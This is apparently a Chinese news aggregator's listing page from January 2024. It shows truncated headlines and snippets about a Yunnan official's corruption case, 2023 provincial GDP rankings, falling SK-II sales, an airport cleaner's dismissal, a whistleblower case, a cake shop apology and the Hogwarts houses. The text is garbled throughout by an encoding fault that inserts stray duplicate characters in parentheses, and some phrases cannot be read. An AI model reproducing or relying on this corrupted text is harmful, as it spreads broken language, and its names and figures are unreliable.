      “就像割我身上的肉一般,會(huì)讓我痛不欲生?!?24日,中央紀(jì)委國家監(jiān)委網(wǎng)站發(fā)布了針對(duì)云南省文山州住房和城鄉(xiāng)建設(shè)局原黨組成員、副局長李慶明嚴(yán)重違紀(jì)違法案的剖析。信奉金錢至上的李慶明惜財(cái)…

      2024年1月24日
    • 中國gdp排行榜城市(中國gdp排行榜)

      中國各省gdp排名 1、根據(jù)查詢國家統(tǒng)計(jì)局官網(wǎng)信息顯示,2023年各省排名,廣東:GDP為1243667億。江蘇:GDP為116362億。山東:GDP為83099億。浙江:GDP為…

      2024年1月24日
    • SK-II大中華區(qū)季度銷售額暴跌34%,寶潔:日本核污水排海是主因

      財(cái)聯(lián)社1月24日訊(編輯 卞純)全球日用消費(fèi)品巨頭寶潔公司(ProcterGamble)周二表示,在截至12月底的第二財(cái)季,其高端護(hù)膚品牌SK-II在大中華區(qū)的銷售額下降了34%,…

      2024年1月24日
    • 呼和浩特白塔機(jī)場(chǎng)通報(bào)“保潔員占母嬰室吃飯”:涉事人已被辭退

      呼和浩特白塔機(jī)場(chǎng)通報(bào)“保潔員占母嬰室吃飯”:涉事人已被辭退 原標(biāo)題: 呼和浩特白塔機(jī)場(chǎng)通報(bào)“保潔員占母嬰室吃飯”:涉事人已被辭退 央視網(wǎng)消息:據(jù)@呼和浩特白塔國際機(jī)場(chǎng) 消息,呼和浩…

      2024年1月24日
    • 退休職工舉報(bào)局長被判刑,被舉報(bào)人卻提級(jí)退休把人看懵了

      文|龍之朱 又見錯(cuò)抓錯(cuò)判上了熱搜。 據(jù)媒體報(bào)道,從2016年3月起,安徽宿州市碭山縣農(nóng)機(jī)局退休職工李平實(shí)名向紀(jì)檢部門舉報(bào)局長王超經(jīng)濟(jì)問題,均石沉大海。 2017年7月,李平夫婦及親…

      2024年1月24日
    • 6寸蛋糕用5斤車?yán)遄拥昙业狼?

      【#6寸蛋糕用5斤車?yán)遄拥昙业狼?:客服能力不足,多報(bào)了2斤車?yán)遄印?遇到商家虛假宣傳你會(huì)怎么辦# 近日,有網(wǎng)友發(fā)帖稱做六寸蛋糕需要5斤車?yán)遄右裏嶙h。 1月22日,涉事店家就“6寸…

      2024年1月24日
    • 格蘭芬多院徽簡筆畫(格蘭芬多院徽)

      哈利波特的霍格沃茨學(xué)校分別是哪些學(xué)院? 1、《哈利波特》電影中的霍格沃茨學(xué)院,一共分為四個(gè)學(xué)院,分別是:格蘭芬多、赫奇帕奇、拉文克勞與斯萊特林。 2、霍格沃茨魔法學(xué)院共有格蘭芬多、…

      2024年1月24日

    聯(lián)系我們

    聯(lián)系郵箱:admin#wlmqw.com
    工作時(shí)間:周一至周五,10:30-18:30,節(jié)假日休息